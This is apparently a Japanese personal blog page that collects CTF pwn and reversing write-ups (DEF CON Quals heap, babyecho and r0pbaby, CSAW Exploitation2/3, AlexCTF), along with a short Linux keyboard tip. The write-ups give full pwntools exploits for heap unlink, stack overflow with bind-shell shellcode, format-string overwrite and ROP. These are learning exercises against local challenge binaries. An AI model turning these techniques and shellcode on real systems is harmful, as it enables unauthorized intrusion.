読者です 読者をやめる 読者になる 読者になる

1日ひとつだけ強くなる

おべんきょうのーと

DEF CON CTF Qualifier 2014: heap

CTF writeup

はじめに

katagaitai勉強会#1の資料を見ながら解いてみました。

まず、heapについてはスライドとこちらの動画が参考になりました。まだ前半しか理解できていないのですが、折を見てもう一度見てみたいと思います。

The 67th Yokohama kernel reading party - YouTube

事前調査

$ file ./heap
./heap: ELF 32-bit LSB  executable, Intel 80386, version 1 (SYSV), dynamically linked (uses shared libs), for GNU/Linux 2.6.24, BuildID[sha1]=1b4e88004c13ca18ef78ac90b298c1e247c1d4e5, not stripped
$ checksec ./heap
[*] '/home/ubuntu/writeup/bata/easy/heap/heap'
    Arch:     i386-32-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE

NX有効でPartial RELROです。

まず動かしてみる。

$ python -c "print 'A'*260 " | ./heap 

Welcome to your first heap overflow...
I am going to allocate 20 objects...
Using Dougle Lee Allocator 2.6.1...
Goodluck!

Exit function pointer is at 804C8AC address.
[ALLOC][loc=81B7008][size=1246]
[ALLOC][loc=81B74F0][size=1121]
[ALLOC][loc=81B7958][size=947]
[ALLOC][loc=81B7D10][size=741]
[ALLOC][loc=81B8000][size=706]
[ALLOC][loc=81B82C8][size=819]
[ALLOC][loc=81B8600][size=673]
[ALLOC][loc=81B88A8][size=1004]
[ALLOC][loc=81B8C98][size=952]
[ALLOC][loc=81B9058][size=755]
[ALLOC][loc=81B9350][size=260]
[ALLOC][loc=81B9458][size=877]
[ALLOC][loc=81B97D0][size=1245]
[ALLOC][loc=81B9CB8][size=1047]
[ALLOC][loc=81BA0D8][size=1152]
[ALLOC][loc=81BA560][size=1047]
[ALLOC][loc=81BA980][size=1059]
[ALLOC][loc=81BADA8][size=906]
[ALLOC][loc=81BB138][size=879]
[ALLOC][loc=81BB4B0][size=823]
Write to object [size=260]:
Copied 261 bytes.
[FREE][address=81B7008]
[FREE][address=81B74F0]
[FREE][address=81B7958]
[FREE][address=81B7D10]
[FREE][address=81B8000]
[FREE][address=81B82C8]
[FREE][address=81B8600]
[FREE][address=81B88A8]
[FREE][address=81B8C98]
[FREE][address=81B9058]
Segmentation fault (core dumped)

入力を促されます。`[size=260]とあるので、260文字入力してみると、セグメンテーション違反で落ちます。ここで問題文の最初にも書いてあるようにヒープBOFが起きているみたいです。

解析してみると、以下のことがわかります。

  1. 20回mallocでランダムなサイズのメモリ確保
  2. そのアドレスとサイズを配列として保存
  3. 11番目のchunkは260byteでサイズ固定
  4. 11番目のchunkに最大0x1000byteの入力がmemcpyで保存される
  5. 20個のchunkを順にfree

Unlink Attack

mallocで確保されたchunkは以下の図のようになっていて、このchunkがヒープ領域に連続して20個並んでいます。

f:id:hal0taso:20170322165154p:plain

今はヒープBOFが可能なので、これを利用してUnlink Attackを行います。具体的にはChunk[10]に対してヒープBOFさせて、Chunk[11]をfree済みの状態と同様の構造にします。free済みのチャンクは、再利用時の高速化のためにfd, bkメンバをポインタとする双方向連結リスト構造をとります。この時、Chunk[11]がfree済みとすると、Chunk[10]をfreeする際に、連続したチャンクを結合するためにChunk[11]をリストから外す処理が発生します。この時、適切にポインタを書き換えることによってUnlink時に他のポインタを書き換えることができる(書いてたら無限に説明事項があったので詳しくは資料を見て)

Chunk[10]がfreeされる時、以下の図のようになります。この時、unlinkをする判定として、直上チャンクと直下チャンクがfree済みかどうかを確認します。size変数の下位1ビットはPREV_INUSEビットと呼ばれ、直前のチャンクが利用中かどうかを表します(利用中なら1,free済みなら0)。よって、直上は自身のsize変数のPREV_INUSEビット、直下は2つ下のチャンクのsize変数のPREV_INUSEビットを確認します。今回は、直上のチャンクはすでにfree済みであることがわかっているので、直下のチャンクについて注目します。ここで、それぞれのチャンクのアドレスは、チャンクのsizeを加算することによって求められます。

f:id:hal0taso:20170322174643p:plain

ヒープBOFを使ってChunk[11]のサイズを適当な値にし、fd,bkの値に適当なポインタを保存してfree済みであるように書き換えます。この際に、Chunk[11]のsizeの末尾1ビットを1にして、Chunk[12]の末尾1ビットを0にすることに注意します。NX有効だったのですが、調べてみるとheap領域が実行可能なので、bkが10番目のチャンクのポインタを指すようにしてあげて、直接シェルコードを注入します。この際に、チャンクの中身が今回はPartial RELROなのでgot overwriteを行います。書き換えるのは、freeの結果を出力しているprintfでも終了時に呼ばれるexitでもいいと思います。この時、ヒープ領域は下図のようなイメージでBOFします。

f:id:hal0taso:20170323004240p:plain

exploit

最終的にこうなりました。

from pwn import *
import sys

def bp():
    raw_input()


host = sys.argv[1]
port = int(sys.argv[2])
    
r = remote(host, port)

prompt = 'Write to object [size=260]:\n'



recv = r.recvuntil(prompt)
heap_addr = int(re.findall(r"loc=([^]]+)", recv)[10],16)

print recv
print "======heap_addr======"
print hex(heap_addr)

shellcode = asm(shellcraft.sh())
# from shellstorm
# shellcode = "\x31\xd2\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x52\x53\x89\xe1\x8d\x42\x0b\xcd\x80"
buf_len = 0x104

buf = '\xeb\x08\x90\x90'
buf += '\x90'*0x10
buf += shellcode
buf += '\x90'*(buf_len - len(buf))
buf += p32(0xfffffffc|1)
# exit@got
buf += p32(0x804c020 - 8)
# print@got
# buf += p32(0x0804c004 - 8)
buf += p32(heap_addr)
buf += ''
# bp()
r.sendline(buf)

r.interactive()

感想

heapの問題は初めてだったので、とても勉強になった。今回は資料見ながら一緒に解いてたので解けたものの、heapは書き換え時の状態遷移のイメージが難しいなぁという印象だった…

書き換える場所さえイメージできればいいのかな…?類題が資料に載っているので、これに取り組みながら慣れていきたいと思います。

CSAW CTF Qualification Round 2013: Exploitation3

CTF writeup security

はじめに

やるだけ問題だった気がする。 数週間前に解析だけしてた。ある程度読めると後は比較的楽だったと思う。

Exploitation2を解いた直後だったので、そんなに詰まることなく行けた。

IDAでちょっとずつ解析すすめていくのは楽しかったけど、もうちょっとスピード早くしていきたいなと思った。

事前調査

$ file ./fil_chal
./fil_chal: ELF 32-bit LSB  executable, Intel 80386, version 1 (SYSV), dynamically linked (uses shared libs), for GNU/Linux 2.6.24, BuildID[sha1]=e6e7d1f8a7d1b6fea2e862816b795ac1410fa3af, stripped

$ checksec ./fil_chal
[*] '/home/ubuntu/writeup/bata/baby/Exploitation3/fil_chal'
    Arch:     i386-32-little
    RELRO:    Full RELRO
    Stack:    No canary found
    NX:       NX disabled
    PIE:      No PIE

解析すると、前回のExploitaion2のようにfork-server型なのがわかる。NX bitも立ってないみたいだし、BOFしてシェルコード流し込めたらいいなぁとか思ってた。

接続してみる。

$ nc localhost 34266
     *************    $$$$$$$$$        AAAAAAA  *****                   *****
    *   *******  *    $ $$   $$        A     A   *   *                 *   * 
    *  *       ***     $ $   $$       A  A A  A   *   *               *   *  
    *  *                $ $          A  A___A  A   *   *             *   *   
    *  *                 $ $        A           A   *   *    ****   *   *
    *  *                  $ $      A     AAA     A   *   *   *  *  *   *
    *  *       ***         $ $     A    A   A    A    *   ***   ***   *
    *  ********  *   $$$$$$   $    A    A   A    A     *             * 
     *************   $$$$$$$$$$    AAAAAA   AAAAAA      ************* 
        Dairy

UserName: csaw2013
Password: S1mplePWD
Welcome!
http://youtu.be/KmtzQCSh6xk

Entry Info: 12
AAAABBBBCCCCDDDD
Til next time

接続すると、最初にusernameとpasswordを聞かれる。 これはidaで解析してたらそのままusernameとpasswordが書いてあった。

Entry_infoが負数を入れると大量の入力を入れることができる。今回はこれを利用する。

NXbitも立っていないので、単純にシェルコードを送ってやれば良い。

バッファのアドレスがわからないので、recv関数を呼び出して、.bssセクションの先頭にshellcodeを入れて、リターンアドレスを.bssセクションの先頭に挿入してやれば良い。

exploit

from pwn import *
import time


r = remote('127.0.0.1', 34266)

user = 'csaw2013'
passwd = 'S1mplePWD'

entry_i = '-1'

buffer_size = 1056
buf_addr = 0xffbbe8dc
recv_addr = 0x8048890
bss_addr = 0x804b008

# http://shell-storm.org/shellcode/files/shellcode-882.php
# Shell Bind TCP Shellcode Port 1337 - 89 bytes
shellcode = "\x6a\x66\x58\x6a\x01\x5b\x31\xf6\x56\x53\x6a\x02\x89\xe1\xcd\x80\x5f\x97\x93\xb0\x66\x56\x66\x68\x05\x39\x66\x53\x89\xe1\x6a\x10\x51\x57\x89\xe1\xcd\x80\xb0\x66\xb3\x04\x56\x57\x89\xe1\xcd\x80\xb0\x66\x43\x56\x56\x57\x89\xe1\xcd\x80\x59\x59\xb1\x02\x93\xb0\x3f\xcd\x80\x49\x79\xf9\xb0\x0b\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x41\x89\xca\xcd\x80"

print r.recvuntil('UserName: ')
r.sendline(user)

print r.recvuntil('Password: ')
r.sendline(passwd)

time.sleep(1)

print r.recvuntil('Entry Info: ')
r.sendline(entry_i)


buf = '\x90'*buffer_size
# recv(4, bss_addr, sizeof(shellcode), 0)
buf += p32(recv_addr) + p32(bss_addr) + p32(4) + p32(bss_addr) + p32(len(shellcode)) + p32(0)


# buf = shellcode + '\x90'*(buffer_size - len(shellcode)) + p32(buf_addr)

r.sendline(buf)
# r.interactive()

time.sleep(1)

r.sendline(shellcode)

p = remote('127.0.0.1', 1337)
p.interactive()

CSAW CTF Qualification Round 2013: Exploitation2

CTF security writeup

はじめに

fork-server型の問題。とりあえず脆弱性は見つけたんだけど、fork-server型問題が初めてだったのと、直接シェルを繋げないので詰まっていて、他のwriteupを見てしまった。精進したい。

fork-server型

shimasyaro.hatenablog.com

この説明がわかりやすかったと思う。

この問題はいわゆるfork-server型と言われるようなpwnだった。fork-server型とは、socket→bind→listen→accept→forkの順番で行われるserverのことである。 これは、xinetd型と言われるserverとは違い、標準入出力とは繋がっていないのである。socketディスクリプタを使用して入出力が行われるため、>system(/bin/sh)だけを起動しても全く意味がないのである。標準入出力にも自分が送っている内容を影響させるにはdup2などを使って自分が使っている>socketディスクリプタを繋げてあげる必要がある。

なるほど〜〜〜と、プログラムの入出力について一つお勉強になった。

事前調査

$ file ./exploit2 
./exploit2: ELF 32-bit LSB  executable, Intel 80386, version 1 (SYSV), dynamically linked (uses shared libs), for GNU/Linux 2.6.24, BuildID[sha1]=94f196c7d8ce45ecf9943690ed4e193c9d13b906, not stripped

$ checksec ./exploit2
[*] '/home/ubuntu/writeup/bata/baby/Exploitation2/exploit2'
    Arch:     i386-32-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX disabled
    PIE:      No PIE

よさそう。

実行してみる

$ nc localhost 31338

WÐÿ©GWelcome to CSAW CTF.  Exploitation 2 will be a little harder this year.  Insert your exploit here:

接続してみると、最初の数バイト分謎の文字列が出力されているみたいなので、hexdumpとかで調べてみる。

$ nc localhost 31338 | hexdump -C
00000000  0c 57 d0 ff 61 0a a5 4b  57 65 6c 63 6f 6d 65 20  |.W..a..KWelcome |
00000010  74 6f 20 43 53 41 57 20  43 54 46 2e 20 20 45 78  |to CSAW CTF.  Ex|
00000020  70 6c 6f 69 74 61 74 69  6f 6e 20 32 20 77 69 6c  |ploitation 2 wil|
00000030  6c 20 62 65 20 61 20 6c  69 74 74 6c 65 20 68 61  |l be a little ha|
00000040  72 64 65 72 20 74 68 69  73 20 79 65 61 72 2e 20  |rder this year. |
00000050  20 49 6e 73 65 72 74 20  79 6f 75 72 20 65 78 70  | Insert your exp|

見てみると、0xffd0570c0x4ba50a61っていう一見アドレスっぽい値が出力されてる。

これをidaで見てみると、自前でcanary実装してるっぽい。僕の環境だとsecretみたいな値をローカル変数に格納して、それを後から元の値と照らし合わせてた。

handleって関数の中身を見ると、最初にバッファのアドレス、そのあとcanary値をsendしていたので、この二つの値はそれぞれスタック上のバッファアドレスとcanary値であることがわかる。

bufferのサイズは0x800なので、<shellcode><padding><canary><padding><buffer_address>ってしてあげればよさそう。

….と思ったら、shellが取れなくて死んでた。

exploit

最終的に書いたのは以下の通り。

from pwn import *

r = remote('127.0.0.1', 31338)

recv = r.recvuntil('here:')

buf = u32(recv[0:4]) # leaked buffer address
sec = u32(recv[4:8]) # leaked secret address
print "buf: {}".format(hex(buf))
print "sec: {}".format(hex(sec))


shellcode = ''.join(["\x31\xdb\xf7\xe3\xb0\x66\x43\x52\x53\x6a",
                     "\x02\x89\xe1\xcd\x80\x5b\x5e\x52\x66\x68",
                     "\x2b\x67\x6a\x10\x51\x50\xb0\x66\x89\xe1",
                     "\xcd\x80\x89\x51\x04\xb0\x66\xb3\x04\xcd",
                     "\x80\xb0\x66\x43\xcd\x80\x59\x93\x6a\x3f",
                     "\x58\xcd\x80\x49\x79\xf8\xb0\x0b\x68\x2f",
                     "\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3",
                     "\x41\xcd\x80",])


buf_len = 0x800 - len(shellcode)

payload = shellcode + '\x90'*buf_len + p32(sec) + '\x90'*0xc + p32(buf)

r.sendline(payload)

# r.interactive()


p = remote('127.0.0.1', 11111)
p.interactive()

ちなみに、シェルコードはshellstormからportを11111番で待ち受けていて、つなぐとshellが開かれているのでそのままncとかで繋げてあげれば良い。

感想

fork-server型の問題は初めて解いたので、いい勉強になった。

AlexCTF: C++ is awesome (Reversing 100)

CTF writeup security

はじめに

rev一問だけ解けた。初めて100点入れれたので嬉しい。 テスト期間中に息抜き代わりに解いてみたけど、解けて気持ちよくなれたので参加してよかったと思う。

メモとか残してなくて結構時間も経ったので、覚えてることを文章だけ書いて終わる。

やったこと

手元のubuntuで動かなくて(GLIBCのバージョンが足りないって怒られた)、最近セットアップしたLubuntuをつかった。

gdb-pedaの仕様が変わったのか、スタックの中身が見れなくて辛い思いをした。

事前調査

確かstrippedだった気がする。

stringしてみると、L3t_ME_T3ll_Y0u_S0m3th1ng_1mp0rtant_A_{FL4G}_W0nt_b3_3X4ctly_th4t_345y_t0_c4ptur3_H0wev3r_1T_w1ll_b3_C00l_1F_Y0u_g0t_1tというなにやら怪しい文字が。

動かしてみる

gdbで動かしてみると、入力文字列を1文字ずつ比較しているみたいだ。 横着な性格なので比較しているところにブレークポイントをセットしてgdbパカパカしてたら途中でyou should know flagって言われてしまった….

ので、ちゃんと見てみると上の文字列から数字の配列の順に取り出して比較してるらしい。 配列の中身を見て、そのindexにある文字を取り出すとフラグが取得できる。

ALEXCTF{W3_L0v3_C_W1th_CL45535}

DEFCON Qualifier 2015: babyecho

learn security writeup python CTF

はじめに

2日かかったけど解けたので復習。最近はstrippedなバイナリ見てもとりあえず動かしてgdbでアタッチすればいいや〜ってなってきたし、radare2に食わせればちゃんと読める形にしてくれるので本当に感謝しかない。

ペースが保てていないが頑張る。

$ file

babyecho: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), statically linked, for GNU/Linux 2.6.24, BuildID[sha1]=c9a66685159ad72bd157b521f05a85e2e427f5ee, stripped

$ checksec

[*] ‘/home/ubuntu/writeup/bata/baby/babyecho/babyecho’ Arch: i386-32-little RELRO: Partial RELRO Stack: No canary found NX: NX disabled PIE: No PIE

メモ

  • 入力処理にFSBがある
  • 入力できる長さはたったの13バイト
  • それ以上は13バイトごとで区切られて区切られた各終端の文字は'0x0a'で置き換えらえる
    • ‘AAAABBBBCCCCDDDD\n'を入力すると'AAAABBBBCCCC\n’ + ‘DDD\n'が得られた

exploit

まず、スタックの中身を確認してみた。後ろにあるのは後でスタックのindexを割り振ったメモ

$ python -c "print ''.join(['AAAA%' + str(i) + '\$p\n' for i in range(0,8)])
" | ./babyecho 
Reading 13 bytes  
AAAA0xd         --> 1  
Reading 13 bytes  
AAAA0xa         --> 2  
Reading 13 bytes  
AAAA(nil)       --> 3  
Reading 13 bytes  
AAAA0xd     --> 4(バッファの長さ)  
Reading 13 bytes  
AAAA0xffffcd3c  --> 5(入力バッファのアドレス)  
Reading 13 bytes  
AAAA(nil)       --> 6(サブルーチンのフラグ)  
Reading 13 bytes  
AAAA0x41414141  --> 7(入力バッファの中身) 

入力長が13バイト(0x0d)であったので、0x0dが格納されたバッファを探すと2つある。radare2で0x8048fb6を見てみると、'Reading %d bytes\n'の数値に対応してるのが[esp + 0x04]=[esp + 0x10]であることがわかり、確かに0x0dがmainの最初で代入されていることがわかる。

また、0x804902cを見てみると、[esp + 0x18]の値を0と比較してループを回しているのがわかる。

f:id:hal0taso:20170216230349p:plain

さて、攻撃

こんな感じ 1. バッファのアドレスを取得 2. 入力の最大長の値を上書き 3. リターンアドレスをシェルコードを入力したアドレスに移す&サブルーチンのフラグを書き換える 4. リターンアドレスはスタックの267番目

ここでバッファの最大長の値を書き換えるときに、入力が13バイトまで、というのをすっかり忘れていた。 数時間悩んだ末、writeupを読んで気づいた(バカ)

最終的にこうなった

from pwn import *
import sys
import time

def bp():
    raw_iput("Break point: ")

LOCAL = True
if len(sys.argv) > 1 and sys.argv[1] == "r":
    LOCAL = False

BIN = './babyecho'
e = ELF(BIN)
r = None

if LOCAL:
    r = remote('127.0.0.1', 40000)

def get_stack_addr(x, addr):
    return addr - 4*(7 - x)

# first, you should get stack addr
r.recvline()
r.sendline('%5$x')
input_buf = int(r.recvuntil('\n'), 16)


# calculate addr
max_len_buf = get_stack_addr(4, input_buf)
ret = get_stack_addr(267, input_buf)
flag = get_stack_addr(6, input_buf)

# 1st payload
r.recvline()
payload = "{addr}%{length}c%7$n".format(addr=p32(max_len_buf), length=99)

r.sendline(payload)
r.recv()

# 2nd payload
payload = "{addr}%{length}c%7$n".format(addr=p32(max_len_buf), length=9999)
r.sendline(payload)

shellcode = "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\xb0\x0b\xcd\x80"


buf = ''
buf += p32(flag)
buf += p32(ret)
buf += p32(ret+1)
buf += p32(ret+2)
buf += p32(ret+3)

ptr = input_buf + len(buf)
buf += shellcode


rtn = map(ord, p32(ptr))
# over write addr
rtn[3] = ((rtn[3] - rtn[2]) % 0x100) + 0x100
rtn[2] = ((rtn[2] - rtn[1]) % 0x100) + 0x100
rtn[1] = ((rtn[1] - rtn[0]) % 0x100) + 0x100
rtn[0] = ((rtn[0] - len(buf)) % 0x100) + 0x100

# print len(buf)

buf += '%7$hhn' 
buf += '%%%dd%%8$hhn' % rtn[0]
buf += '%%%dd%%9$hhn' % rtn[1]
buf += '%%%dd%%10$hhn' % rtn[2]
buf += '%%%dd%%11$hhn' % rtn[3]

r.sendline (buf)
r.interactive()

DEFCON Qualifier 2015: r0pbaby

security writeup learn CTF

はじめに

こつこつbataさんリスト埋めます。

pwn challenges list - Pastebin.com

ローカルで解けたのでメモ。

配布

このリストから問題のバイナリとか頂いてます。

ctf4u

$ file

$ file r0pbaby 
r0pbaby: ELF 64-bit LSB  shared object, x86-64, version 1 (SYSV), dynamically linked (uses shared libs), for GNU/Linux 2.6.24, stripped

strippedって見ると条件反射的にうわぁ…ってなっちゃうの克服したい。64bitバイナリです。

$checksec

$ checksec r0pbaby 
[*] '/home/ubuntu/writeup/bata/baby/r0pbaby/r0pbaby'
    Arch:     amd64-64-little
    RELRO:    No RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      PIE enabled
    FORTIFY:  Enabled

NXbitが有効になっているのと名前からROP問題だろうと推測できる。PIEが有効なので直接バイナリ読むってのも違いそう。

実行してみる。

1を選択するとlibcのベースアドレスが(?)、2を選択すると任意のlibc内の関数のアドレスが与えられる。 3を選択して適当に10文字とかで入力を入れると落ちた。ので、gdbで何が起こってるのか見てみる。

$ ./r0pbaby 

Welcome to an easy Return Oriented Programming challenge...
Menu:
1) Get libc address
2) Get address of a libc function
3) Nom nom r0p buffer to stack
4) Exit
: 2
Enter symbol: system
Symbol system: 0x00007FFFF7857590
1) Get libc address
2) Get address of a libc function
3) Nom nom r0p buffer to stack
4) Exit
: 3
Enter bytes to send (max 1024): 32
AAAAAAAABBBBBBBBCCCCCCCCDDDDDDDD
1) Get libc address
2) Get address of a libc function
3) Nom nom r0p buffer to stack
4) Exit
: Bad choice.
# この後Segmentation Faultで落ちる

gdbで動いてるプロセスにアタッチしてやると、以下のような出力を得た。

最近知ったんだけど、strippedなバイナリで入力処理とかしてるのは動いてるプロセスにアタッチするといい感じのとこで始まるので良いなと思った。

Program received signal SIGSEGV, Segmentation fault.
[----------------------------------registers-----------------------------------]
RAX: 0x0 
RBX: 0x0 
RCX: 0x7ffff78fc710 (<__write_nocancel+7>:  cmp    rax,0xfffffffffffff001)
RDX: 0x7ffff7bd19e0 --> 0x0 
RSI: 0x7ffff7bd0483 --> 0xbd19e0000000000a 
RDI: 0x1 
RBP: 0x4141414141414141 (b'AAAAAAAA')
RSP: 0x7fffffffdf98 ("BBBBBBBBCCCCCCC"...)
RIP: 0x555555554eb3 (ret)
R8 : 0x7ffff7bd19e0 --> 0x0 
R9 : 0x555555554fbb --> 0x732064614200203a 
R10: 0x7ffff7fd4740 (0x00007ffff7fd4740)
R11: 0x246 
R12: 0x555555554a60 (xor    ebp,ebp)
R13: 0x7fffffffe070 --> 0x1 
R14: 0x0 
R15: 0x0
[-------------------------------------code-------------------------------------]
   0x555555554eae:  pop    r14
   0x555555554eb0:  pop    r15
   0x555555554eb2:  pop    rbp
=> 0x555555554eb3:  ret    
   0x555555554eb4:  nop    WORD PTR cs:[rax+rax*1+0x0]
   0x555555554ebe:  xchg   ax,ax
   0x555555554ec0:  push   r15
   0x555555554ec2:  mov    r15d,edi
[------------------------------------stack-------------------------------------]
00:0000| rsp 0x7fffffffdf98 ("BBBBBBBBCCCCCCC"...)
01:0008|     0x7fffffffdfa0 ("CCCCCCCCDDDDDDD"...)
02:0016|     0x7fffffffdfa8 ("DDDDDDDD")
03:0024|     0x7fffffffdfb0 --> 0x100000000 
04:0032|     0x7fffffffdfb8 --> 0x555555554c46 (push   rbp)
05:0040|     0x7fffffffdfc0 --> 0x0 
06:0048|     0x7fffffffdfc8 --> 0x4eadd4ca677d9d9e 
07:0056|     0x7fffffffdfd0 --> 0x555555554a60 (xor    ebp,ebp)
[------------------------------------------------------------------------------]
Legend: stack, code, data, heap, rodata, value
Stopped reason: SIGSEGV
0x0000555555554eb3 in ?? ()
gdb-peda$  

見てみると、ret命令でリターンアドレスを読み込もうとしてるが、rspには先ほど入力したBBBB....という文字列のアドレスが指されているため、落ちたのだろうとわかる。

じゃあ、これを利用してlibc内のsystem関数を呼んであげればいいのか〜〜〜〜

ん??でも引数ってどうするんだ…?? これまで解いてきたのはスタックに引数が積まれて、間にパディングを挟んで呼び出したから行けたけど、今回は。。。???

ってなったところでひとしきり悩んで、わからなかったのでwriteup参考にした。

見てみると、rdiに第一引数が格納されるので、libc内からpop rdi; ret;の命令を持つガジェットを探して、ROPチェーンを組めばいいらしい。 そういえば、リバースエンジニアリングバイブルにも書いてあった気がする。(現在手元にないので確認できない。)

これはx64のバイナリに共通なのだろうか..??リバースエンジニアリングバイブルは中盤からC++アセンブリの説明だったので、これがC++で書かれてるのかそれとも第1引数がrdiに格納されるのがx64共通なのか、、、

記事書きながら調べてみると、64bitの場合、引数はedi、esi、edx、ecx、r8d、r9d、(rsp)となる。つまり、64bitで任意の関数を実行するには対応したレジスタに引数を入れるように仕向けないといけないってことか….

それにしても、popret使うROP問題はハリネズミ本以来で不安…… あまり具体的にイメージができていない気もするし。

exploit

作っていくpayloadは、

<padding><pop rdi;ret;><bin/sh/><system>

という感じ。

使ってるlibcは

$ ldd r0pbaby 
    linux-vdso.so.1 =>  (0x00007ffff7ffd000)
    libdl.so.2 => /lib/x86_64-linux-gnu/libdl.so.2 (0x00007ffff7bd3000)
    libc.so.6 => /lib/x86_64-linux-gnu/libc.so.6 (0x00007ffff780e000)
    /lib64/ld-linux-x86-64.so.2 (0x0000555555554000)

から、

$ strings -tx /lib/x86_64-linux-gnu/libc.so.6 | grep sh$
 17c8c3 /bin/sh
$ rp-lin-x64 -f /lib/x86_64-linux-gnu/libc.so.6 -r 1 | grep 'pop rdi'
0x00022b9a: pop rdi ; ret  ;  (1 found)
$ nm -D /lib/x86_64-linux-gnu/libc.so.6 | grep system
0000000000046590 W system

なお、1を選択して得られたlibc addressとかいう奴と、2を選択して得られたsystemアドレスから計算したlibcのベースアドレスが違った。うまく動いたのは、systemのアドレスからオフセット計算した時だった。 これは、どういうことなんだろう….??1で得られるアドレスが何のアドレスなのかわかってない。

まぁ、必要な値は揃ったので、以下のようなスクリプトを書いて実行した。

from pwn import *
import sys
import time

def bp():
    raw_input("break point: ")

r = remote('127.0.0.1', 4000)
   
# ========get elf base===========
r.recvuntil('4) Exit\n: ')

print '========= get libc base ==========='
r.sendline('1')
# len('libc.so.6: ') = 11
# len('libc.so.6: 0x00007ffff7ff79b0') = 29
libc_base = int(r.recvline()[11:29], 16)
print 'libc_base = {}'.format(hex(libc_base))
time.sleep(1)
r.recvuntil('4) Exit\n: ')

print '========= get libc_system addr ==========='
r.sendline('2')
r.recvuntil('Enter symbol: ')
r.sendline('system')
# Symbol system: 
libc_system = int(r.recvline()[15:33], 16)
print 'libc_system = {}'.format(hex(libc_system))
r.recvuntil('4) Exit\n: ')

print "======== exploit ========"
r.sendline('3')
r.recvuntil('(max 1024): ')
r.sendline('32')

popret_offset = 0x00022b9a
binsh_offset = 0x17c8c3
system_offset = 0x46590

libc_base = libc_system - system_offset
popret = libc_base + popret_offset
bin_sh = libc_base + binsh_offset

# rop buffer
# <pop rdi><bin/sh/><system>
 

#r.recvuntil('4) Exit\n: ')


print "popret: {popret}\nbinsh: {binsh}\nlibc_system: {system}".format(
    popret=hex(popret),binsh=hex(bin_sh),system=hex(libc_system))


rop = ''.join([
    'A'*8,
    p64(popret),
    p64(bin_sh),
    p64(libc_system)])
print "buf: {}".format(rop)

r.sendline(rop)

r.interactive()

これでシェルが取れた。

$ python exploit.py 
[+] Opening connection to 127.0.0.1 on port 4000: Done
========= get libc base ===========
libc_base = 0x7ffff7ff79b0
========= get libc_system addr ===========
libc_system = 0x7ffff7857590
======== exploit========
popret: 0x7ffff7833b9a
binsh: 0x7ffff798d8c3
libc_system: 0x7ffff7857590
buf: AAAAAAAA\x9a;\x83÷ÿ\x00ÃØ\x98÷ÿ\x00\x90u\x85÷ÿ\x00
[*] Switching to interactive mode
$ whoami
ubuntu
$  

感想

popret gadgetを使ってみて、ROPのpopretの命令でやってることがより具体的にイメージがついたように思う。 babyになれるように精進します。

あと、libcのアドレスがどこのアドレスなのか教えてもらえると助かります。(libc内検索してみたんだけど、それっぽいのが見つからなかった)

参考

NetAgent Official Blog : 64ビット環境におけるリバースエンジニアリング

Assembly Programming on x86-64 Linux (04)

Syscall Number for x86-64 linux (A)

参考サイトとか見てみるんですが、検索能力が低いのかブログにあたるばかりで公式の(?)ページが見つからないんですよね… 2次ソースばかりを参考としているのでちゃんとしたソースを見つけられるようにもなりたい….

Lubuntu 16.10でCaps LockをCtrlにする

linux setting

やるだけ

sudo nano /etc/default/keyboad

XKBOPYIONSという項目を編集。

XKBOPTIONS="ctrl:nocaps"

caps lockとctrlを入れ替える時はctrl:swapcapsにする。

あとは再起動するだけ。